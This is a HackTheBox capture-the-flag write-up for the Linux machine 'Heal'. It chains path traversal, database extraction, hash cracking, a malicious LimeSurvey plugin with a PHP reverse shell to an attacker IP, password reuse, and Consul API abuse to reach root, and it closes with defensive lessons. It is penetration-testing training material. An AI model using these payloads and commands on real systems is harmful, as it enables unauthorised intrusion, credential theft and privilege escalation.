HTB: Heal Writeup
Heal - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Heal |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 15 May 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Heal is a medium-difficulty Linux machine featuring a resume builder web application vulnerable to path traversal. By exploiting arbitrary file read through the PDF export functionality, we extract the SQLite database and crack the administrator password hash to gain access to LimeSurvey. We then upload a malicious plugin to obtain remote code execution as www-data. Database credential enumeration reveals password reuse with a system user (ron), allowing lateral movement via SSH. Finally, we exploit a local Consul Agent running as root by registering a malicious health check that executes arbitrary commands, leading to privilege escalation.
TL;DR: Path traversal → Database extraction → Credential cracking → LimeSurvey plugin RCE → Lateral movement via password reuse → Consul API RCE as root
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -sC -sV 10.10.11.46Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1080/tcp open http nginx 1.18.0 (Ubuntu)The scan reveals two primary services: SSH on port 22 and nginx on port 80.
Service Enumeration
HTTP Service Discovery:
Accessing port 80 redirects to heal.htb. The application is a resume builder website with a login page. Further reconnaissance reveals additional subdomains:
api.heal.htb- Ruby on Rails API (v7.1.4, Ruby v3.3.5)take-survey.heal.htb- LimeSurvey instance
Add these entries to /etc/hosts:
echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hostsecho "10.10.11.46 api.heal.htb" | sudo tee -a /etc/hostsecho "10.10.11.46 take-survey.heal.htb" | sudo tee -a /etc/hostsThe LimeSurvey admin panel is accessible at http://take-survey.heal.htb/admin.
Vulnerability Assessment
Identified Vulnerabilities:
- Arbitrary File Read - The PDF export functionality contains a path traversal vulnerability in the
filenameparameter - Weak Credentials - Database credentials stored in plaintext configuration files
- Password Reuse - Database password reused for system user account
- Insecure Plugin Upload - LimeSurvey allows administrators to upload arbitrary plugins
- Unauthenticated Consul API - Local Consul service accessible without authentication, permitting arbitrary service registration
Initial Foothold
Exploitation Path
Step 1: Exploit Path Traversal for File Read
After registering a test account and creating a resume, clicking the “Export to PDF” button triggers a POST request to /exports followed by a GET request to /download?filename=.... The filename parameter is susceptible to path traversal.
Test arbitrary file read on /etc/passwd:
curl 'http://api.heal.htb/download?filename=../../../../../etc/passwd' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'This successfully returns the passwd file, confirming the vulnerability.
Step 2: Extract Application Files
Retrieve the Gemfile to understand the Rails application dependencies:
curl 'http://api.heal.htb/download?filename=../../Gemfile' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'The output reveals SQLite3 is used as the database.
Step 3: Extract Database Configuration and Credentials
Download the database configuration:
curl 'http://api.heal.htb/download?filename=../../config/database.yml' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'The config indicates the production database is storage/development.sqlite3.
Step 4: Download and Extract Database
curl 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' \ -o development.sqlite3Step 5: Extract Admin Credentials
Query the database for user credentials:
sqlite3 development.sqlite3sqlite> .tablessqlite> select * from users;Output:
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|...|Administrator|ralph|1Step 6: Crack the Password Hash
Save the hash to a file:
echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' > ralph.hashCrack using John the Ripper:
john -w=/usr/share/wordlists/rockyou.txt ralph.hashOutput:
147258369 (?)Credentials obtained: ralph:147258369
Step 7: Exploit LimeSurvey Plugin Upload for RCE
Log in to the LimeSurvey admin panel at http://take-survey.heal.htb/admin using the obtained credentials.
Create a malicious plugin. First, create config.xml:
<?xml version="1.0" encoding="UTF-8"?><metadata> <name>Y1LD1R1M</name> <type>plugin</type> <namespace>Y1LD1R1M</namespace> <version>1.0</version> <author>attacker</author></metadata>Create the reverse shell payload php-rev.php:
<?php$sock=fsockopen("10.10.14.66",1337);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);?>Package both files into a ZIP archive:
zip -r plugin.zip php-rev.php config.xmlNavigate to the plugins configuration page and upload the ZIP file.
Step 8: Trigger Reverse Shell
Start a listener:
nc -nvlp 1337Access the uploaded plugin:
curl http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.phpA reverse shell is received as user www-data:
listening on [any] 1337 ...connect to [10.10.14.66] from (UNKNOWN) [10.129.251.41] 50306Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
Lateral Movement to User ron
Step 1: Extract Database Credentials from LimeSurvey Config
Enumerate the LimeSurvey configuration for database credentials:
cat /var/www/html/limesurvey/application/config/config.phpOutput reveals:
'db' => array( 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;', 'password' => 'AdmiDi0_pA$$w0rd',),Password found: AdmiDi0_pA$$w0rd
Step 2: SSH Access with Reused Credentials
The password is reused by the system user ron. Establish SSH access:
ssh ron@heal.htb# Password: AdmiDi0_pA$$w0rdVerify access:
ron@heal:~$ iduid=1001(ron) gid=1001(ron) groups=1001(ron)Retrieve the user flag:
cat /home/ron/user.txtPrivilege Escalation via Consul API
Step 1: Discover Local Services
Scan for listening services:
ss -tnlpOutput reveals ports 8500, 8503, 8600, 8300, 8301, and 8302 listening on 127.0.0.1. These are Consul Agent ports.
Step 2: Identify Consul Service
Check systemd services:
cat /etc/systemd/system/consul.serviceOutput confirms Consul runs as root:
[Service]User=rootGroup=rootExecStart=/usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 ...Step 3: Access Consul API via Port Forwarding
Set up SSH port forwarding:
ssh -L 8500:127.0.0.1:8500 ron@heal.htbList registered services:
curl -X GET http://localhost:8500/v1/agent/servicesStep 4: Register Malicious Service Check
Create a reverse shell script on the target:
cat > /tmp/rev.sh << 'EOF'#!/bin/bashcp /bin/bash /tmp/evil; chmod +s /tmp/evilEOF
chmod +x /tmp/rev.shRegister a malicious health check via the Consul API:
curl -X PUT http://localhost:8500/v1/agent/check/register \ -H "Content-Type: application/json" \ -d '{ "ID":"rce", "Name":"evil service", "Shell":"/bin/bash", "Interval":"5s", "Args":["/tmp/rev.sh",""] }'Step 5: Execute Privileged Command
After 5 seconds, the Consul agent (running as root) executes the script:
ls -l /tmp/evil# -rwsr-xr-x 1 root root 1396520 May 15 11:11 evilRun the SUID binary with privilege:
/tmp/evil -p# evil-5.1# id# uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)Step 6: Retrieve Root Flag
cat /root/root.txtAttack Chain Summary
Path Traversal (api.heal.htb/download) ↓Extract SQLite Database (development.sqlite3) ↓Crack Admin Hash (ralph:147258369) ↓LimeSurvey Plugin RCE (www-data shell) ↓Extract LimeSurvey DB Credentials (AdmiDi0_pA$$w0rd) ↓SSH Access as ron (Credential Reuse) ↓Discover Consul Agent (Port 8500) ↓Register Malicious Health Check (Consul API) ↓Root Access (SUID Binary Execution)Tools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service discovery |
curl | HTTP requests and file retrieval |
sqlite3 | Database enumeration and credential extraction |
john | Bcrypt password hash cracking |
zip | Archive creation for plugin payload |
ssh | Secure shell access and port forwarding |
netcat (nc) | Reverse shell listener |
ss | Local port and service enumeration |
Key Learnings
Techniques Practiced
- Path traversal vulnerability exploitation for arbitrary file read
- SQLite database enumeration and extraction
- Bcrypt hash cracking with wordlist attacks
- LimeSurvey plugin development and malicious payload delivery
- Database credential harvesting from application configuration files
- Password reuse exploitation for lateral movement
- Consul Agent API exploitation for unauthorized service registration
- Privilege escalation via SUID binary manipulation
- SSH port forwarding for accessing restricted services
Lessons Learned
-
Defense in Depth: A single vulnerability (path traversal) cascaded into complete system compromise. Input validation on file paths is critical in web applications.
-
Credential Management: Reusing database passwords across system accounts significantly increases the blast radius of a single compromise.
-
Application Configuration: Sensitive configuration files must be protected and never exposed through web-accessible paths.
-
API Authentication: Services like Consul should be restricted to localhost only or protected with strong authentication, especially when running as root.
-
Third-Party Plugin Security: Applications allowing plugin uploads must implement strict sandboxing and validation to prevent arbitrary code execution.
-
Principle of Least Privilege: Services running as root should be avoided unless absolutely necessary. Consul running as root enabled full system compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>